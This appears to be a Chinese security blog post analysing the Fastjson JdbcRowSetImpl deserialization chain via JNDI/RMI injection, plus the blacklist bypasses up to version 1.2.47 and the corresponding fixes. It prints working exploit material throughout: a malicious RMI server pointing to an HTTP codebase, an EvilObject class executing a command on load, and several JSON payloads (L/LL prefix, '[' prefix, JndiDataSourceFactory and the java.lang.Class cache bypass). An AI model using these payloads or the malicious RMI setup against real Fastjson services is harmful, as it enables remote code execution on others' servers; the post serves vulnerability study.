Fastjson JdbcRowSetImpl 链及后续漏洞分析

0x00 前言

在上一篇文章中我们从分析了TemplatesImpl利用链

链接:https://mp.weixin.qq.com/s/30F7FomHiTnak_qe8mslIQ

但是上篇文章中局限相对较大,需要传入特定的参数以及需要特定的格式,本文的JdbcRowSetImpl利用链利用范围会比TemplatesImpl利用链的利用范围要大一些,但是同样也有着一些限制

由于后面版本的漏洞很多其实都是黑名单绕过的问题(除了最后一个)所以这里就一起写进去了就不单独再写一篇了

0x01 前置知识 - JNDI&RMI

在JdbcRowSetImpl链中会用到相关知识,所以这里先提及一下

RMI的相关知识在前文有过介绍,在上篇文中,主要介绍的都是服务端加载远程codebase从而执行命令,在这里我们主要是客户端进行命令执行

https://mp.weixin.qq.com/s/wYujicYxSO4zqGylNRBtkA

什么是 JNDI

简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

JNDI 是应用程序设计的 Api,JNDI可以根据名字动态加载数据,支持的服务主要有以下几种:DNS、LDAP、 CORBA对象服务、RMI

下文主要介绍 JNDI & RMI

利用JNDI References进行注入

首先 RMI 服务端除了可以直接绑定远程对象之外,还可以通过 References类来绑定一个外部的远程对象,当 RMI 绑定了 References 之后,首先会利用 Referenceable.getReference()获取绑定对象的引用,并且在目录中保存(个人理解就是在 Registry 中保存远程对象的引用),当客户端使用 lookup 获取对应名字的时候,会返回ReferenceWrapper 类的代理文件,然后会调用 getReference() 获取 Reference类,最终通过factory类将Reference转换为具体的对象实例。

客户端:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
    public static void main(String[] args) throws Exception{
        try {
            Context ctx = new InitialContext();
            ctx.lookup("rmi://localhost:8000/refObj");
        }
        catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

服务端:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
          // Reference需要传入三个参数 (className,factory,factoryLocation)
          // 第一个参数随意填写即可,第二个参数填写我们http服务下的类名,第三个参数填写我们的远程地址
        Reference refObj = new Reference("Evil", "EvilObject", "http://127.0.0.1:8000/");
        // ReferenceWrapper包裹Reference类,使其能够通过 RMI 进行远程访问
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", refObjWrapper);
    }
}

在 ReferenceWrapper 源码中不难看出,该类继承自 UnicastRemoteObject ,实现对 Reference 的包裹从而让 Reference 使其能够通过 RMI 进行远程访问

image-20210325085833220

上面是正常的加载流程,那么从安全学习者的角度考虑我们如何操作才能让客户端进行命令执行

如果我们可以控制 JNDI 客户端中传入的 url 话,那么我们是不是可以自己起一个恶意的 RMI ,让 JNDI 来加载我们的恶意类从而进行命令执行

首先我们来看一下ReferencesReferences类有两个属性,classNamecodebase urlclassName就是远程引用的类名,codebase决定了我们远程类的位置,当本地 classpath 中没有找到对应的类的时候,就会去请求对应codebase地址下的类 (codebase 支持http协议),那么如果我们将 codebase 地址下的类替换成我们的恶意类,这样我们就能让客户端命令执行了

ps:在java版本大于1.8u191之后版本存在trustCodebaseURL的限制,只信任已有的codebase地址,不再能够从指定codebase中下载字节码

所以整个利用流程如下:

  1. 首先开启 HTTP 服务器,并将我们的恶意类放在目录下
  2. 开启恶意 RMI 服务器
  3. 攻击者控制 uri 参数为上一步开启的恶意 RMI 服务器地址
  4. 恶意 RMI 服务器返回 ReferenceWrapper
  5. 目标(JNDI_Client) 在执行lookup操作的时候,在decodeObject 中将ReferenceWrapper 变为 Reference 类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码

实验Demo

首先根据上面说的流程我们来复现一下,让我们先看个效果,下文会进行分析

主要为三个文件:JNDI_Client.java RMI_Server.java EvilObject.class

JNDI_Client.java

import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDI_Client {
    public static void main(String[] args) throws Exception{
        String jndiName = "rmi://127.0.0.1:1099/test";
        Context context = new InitialContext();
        context.lookup(jndiName);
    }
}

RMI_Server.java

这里利用继承了 UnicastRemoteObjectReferenceWrapper类包装Reference,从而可被远程访问

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMI_Server {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Evil","EvilObject","http://127.0.0.1:8000/");
        // 利用ReferenceWrapper包装Reference
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("test",referenceWrapper);
    }
}

EvilObject.java

import java.io.IOException;

public class EvilObject {
    public EvilObject() {
    }
    static {
        try {
              // win用户改成calc即可
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

将上面的 EvilObject 编译成class,放在http服务器下

python -m SimpleHTTPServer 8000
image-20210319220816400

成功弹出计算器:

image-20210319220919406

源码浅析

javax.naming.InitialContext.java#lookup 大约411行左右

这里我们直接跟进这里的 lookup 方法

image-20210321220120196

最后来到这里 com.sun.jndi.rmi.registry.RegistryContext.class

image-20210325091929595

此时通过 lookup 已经获取到了 RMI 服务器上的对象引用(ReferenceWrapper_Stub),并且赋值给了var2,随后进入了decodeObject方法,跟进该方法

image-20210322105537939

decodeObject 函数的内容非常关键,首先会判断我们的 var1 是否是 RemoteReference 的子类,如果是的话就会利用 getReference() 来获取其 Reference 类 ,然后赋值给var3

此时的var3是Reference类,随后进入getObjectInstance方法,这里继续跟进

image-20210321221412163

跟进 getObjectInstance 方法后发现会调用 getObjectFactoryFromReference 函数

getObjectFactoryFromReference 函数会根据 Reference中的classNamecodebase来加载我们的 factory 类 (即我们http服务器上的恶意类),触发点就在这里面,继续跟进

image-20210321224231550

getObjectFactoryFromReference方法中,首先会在本地classpath中寻找是否存在该类,如果本地没有找到就远程加载codebase指向的类

image-20210321224435481

继续跟进loadClass方法

image-20210321224802037

最终在loadClass中进行了实例化,触发了我们静态代码片段中的恶意代码,从而弹出计算器

image-20210321224851191

所以我们最后梳理一下触发的流程:

  1. 首先 RMI 获取了我们 HTTP 服务器上的远程对象引用,利用 ReferenceWrapper 包装之后绑定在了 Registry 上
  2. JNDI 客户端根据名字获取到了 RMI 上的引用
  3. 获取到之后首先利用 getObjectFactoryFromReference 方法对 ReferenceWrapper_Stub 进行了还原 获取到了 Reference 类
  4. 然后根据 Reference类中的codebase url 远程获取了我们的恶意类并且进行了实例化从而在客户端触发了恶意代码

所以我们在符合 jdk 版本要求的情况下,控制jndi请求的路径,即可进行命令执行,下面的fastjson就是以这个原理触发的

0x02 JdbcRowSetImpl链分析

影响范围: fastjson <= 1.2.24

首先我们来看一下 Demo 后文会进行分析

Poc

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;
import fastjsonvuln.User;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;

public class FJPoC {
    public static void main(String[] args) throws Exception {
        String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }
}

RMI Server

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
                 // 第一个参数无所谓,第二个参数为我们http下的类名
        Reference refObj = new Reference("whatever", "EvilObject", "http://127.0.0.1:8000/");
        System.out.println(refObj);
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", refObjWrapper);
    }
}

EvilObject

import java.io.IOException;

public class EvilObject {
    public EvilObject() {
    }
    static {
        try {
              // win用户改成calc即可
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

同样的,将 EvilObject 编译成class,放在web服务器的目录下

image-20210321230542315

触发点还是这里,利用反射触发setAutoCommit方法

image-20210319144356517

进入 setAutoCommit 方法

image-20210319115659973

然后进入了connect函数方法,然后在connect函数中,发现利用了jndi,那么我们如果控制了 dataSourceName就可以利用 JNDI 注入让客户端进行命令执行了,而这里dataSourceName恰恰可以控制,所以此处远程加载了我们HTTP服务上的恶意class

image-20210319115950293

从而弹了计算器

image-20210319120058584

0x03 简单总结

在分析完之后我们再来梳理一下,产生漏洞的原因,以及1.2.24 中利用方法的限制

  1. TemplatesImpl 链 优点:当fastjson不出网的时候可以直接进行盲打(配合时延的命令来判断命令是否执行成功) 缺点:版本限制 1.2.22 起才有 SupportNonPublicField 特性,并且后端开发需要特定语句才能够触发,在使用parseObject 的时候,必须要使用 JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
  2. JdbcRowSetImpl 链 优点:利用范围更广,即触更为容易 缺点:当fastjson 不出网的话这个方法基本上都是gg(在实际过程中遇到了很多不出网的情况)同时高版本jdk中codebase默认为true,这样意味着,我们只能加载受信任的地址

0x04 Fastjson的抗争史

1.2.25版本修复

官方修复文档 :https://github.com/alibaba/fastjson/wiki/enable_autotype

这里主要是从两个角度进行了修复

  1. 自从1.2.25 起 autotype 默认关闭
  2. 增加 checkAutoType 方法,在该方法中扩充黑名单,同时增加白名单机制

这里利用 IDEA 自带的代码比较来进行比对

image-20210323153211156

跟进 checkAutoType 函数,在第一个红框处首先会进行一个白名单,如果类在白名单中则会直接进行加载,在经过白名单之后又会经过一个黑名单处理,如果我们的类在黑名单中,会直接抛出报错

image-20210323153942725

同时在1.2.25中扩充了黑名单类

"bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework"

1.2.25-1.2.41 绕过

由于在1.2.24修复中默认关闭了AutoType,所以这里我们要在代码中开启,不然会直接抛出错误

public class FJPoC {
    public static void main(String[] args) throws Exception {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }

发现在loadclass中,有两个判断,如果开头有 [ 或者 开头是L 结尾是 ; 那么就会去除,这里我们就可以尝试绕过

image-20210323112224260

但是这里其实只有 [xxxxx; 才能进行绕过

{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}

通过源码断点分析,发现 L 开头并不会进行到 TypeUtils.loadClass() 这一步就会报错了

Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/refObj", "autoCommit":true}

1.2.42 绕过

在该版本中直接换成了哈希校验,不让我们知道黑名单中的类,同时我们来看红框处的代码

在该if中,对类的第一位和最后一位进行了哈希计算,如果第一位是 L 最后一位是 ; 的话就进行去除,但是可以看到这里其实只去除了一次,我们只需要利用常见的复写即可绕过

image-20210323164338237

denyHashCodes 内容如下:

-8720046426850100497L, -8109300701639721088L, -7966123100503199569L, -7766605818834748097L, -6835437086156813536L, -4837536971810737970L, -4082057040235125754L, -2364987994247679115L, -1872417015366588117L, -254670111376247151L, -190281065685395680L, 33238344207745342L, 313864100207897507L, 1203232727967308606L, 1502845958873959152L, 3547627781654598988L, 3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L, 5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L, 7179336928365889465L, 7442624256860549330L, 8838294710098435315L

但是由于加密方法在源码中仍存在,所以我们可以通过哈希碰撞来得出黑名单中的类

com.alibaba.fastjson.util.TypeUtils#fnv1a_64

目前github上已有项目 https://github.com/LeadroyaL/fastjson-blacklist

image-20210323163856289

poc:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://127.0.0.1:1099/refObj", "autoCommit":true}

1.2.43 修复

在 1.2.43 中添加了对于LL 这种绕过方式的判断 ,由于之前的 [ 那种类型在之前就会报错,所以这里用 [ 是不行的

image-20210324145717224

1.2.45 修复

黑名单绕过

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

修复措施:

扩充黑名单

image-20210324162513691

1.2.25 - 1.2.47 绕过 (通杀

这一块单独拿出来说一下,因为这里的利用思路和前面的不一样

在该payload中,可直接绕过checkAutoType,所以开或不开都可以成功触发

Poc:

RMI 还是上文的那个,所以这里就不重复放了

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://localhost:1099/refObj",
        "autoCommit":true
    }
}

效果图:

image-20210324162710625

绕过分析

在本方法中,主要是利用绕过checkAutoType中的黑名单机制来实现,可以看到这里if判断是 &&,这里的绕过方法就是让后面的那个判断为false,这样就可以绕过黑名单机制了

image-20210325094534781

com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject

首先传入的是java.lang.Class,跟进checkAutoType函数

image-20210324230847927

由于黑名单中并不存在java.lang.Class,所以顺利进行到下面的判断,在deserializers中寻找对应typeName的反序列化器,由于java.lang.Class 是默认的类所以汇找到对应的反序列化器

image-20210324231447029

回到com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject 364行

继续往下看,发现利用反序列化器进行反序列化

image-20210324231703765

跟进该方法 com.alibaba.fastjson.serializer.MiscCodec#deserialze 177行

继续往下看来到该方法的 231 行,会调用 com.alibaba.fastjson.parser.DefaultJSONParser#parser 方法来取出我们传入的恶意类

跟进看看

image-20210324231847603

跟进com.alibaba.fastjson.parser.DefaultJSONParser#parser,发现会获取我们传入的恶意类 ,并且进行返回

image-20210324232047664

然后将返回的数值赋值给 objVal

image-20210324232143855

在经过一系列的判断之后会赋值给 strVal

image-20210325095457907

继续往下看,会有有一个关键判断,如果解析出来的clazz为java.lang.Class,这里就会调用 com.alibaba.fastjson.util.TypeUtils#loadClass 来加载我们的恶意类

这也就是为什么传入的类一定要是java.lang.Class 的原因所在

image-20210325095658025

跟进com.alibaba.fastjson.util.TypeUtils#loadClass,注意这里默认cache为true,将恶意类缓存到mappings中

image-20210324232342516

这里再来到 com.alibaba.fastjson.parser.DefaultJSONParser#checkAutoType,由于不为TypeUtils.getClassFromMapping(typeName) 不为null,故绕过了黑名单校验,然后在if中取出了我们的恶意类

image-20210324232508584

ps:这里为开启了AutoType 的情况,如果没有开启的话也可以触发,如果没有开启,则红框处的if就不会进入,自然也不会走黑名单,而是直接从mapping中获取

image-20210325100642248

然后直接进行了返回

image-20210324232614620

后面的就和之前的一样了,还是那条链 setvalue中触发,这里不多赘述了

image-20210324232636834

1.2.48 修复

在1.2.48中把缓存默认设为false(屏幕太小只能截一部分裂开..

image-20210325104408026
image-20210325104020769

这样就无法进入该判断了

image-20210325104117054

0x05 总结

fastjson其实还有很多和别的链组合触发的,同时还有很多场景的问题,比如说fastjson不出网,所以本文只是浅显的学习一下,后续还有很多需要学习的地方

0x06 参考链接

https://kingx.me/Exploit-Java-Deserialization-with-RMI.html

https://www.smi1e.top/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0%E4%B9%8Bjndi%E6%B3%A8%E5%85%A5/

http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#v1-2-47

https://xz.aliyun.com/t/9052#toc-16

https://paper.seebug.org/1192/#ver1242

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注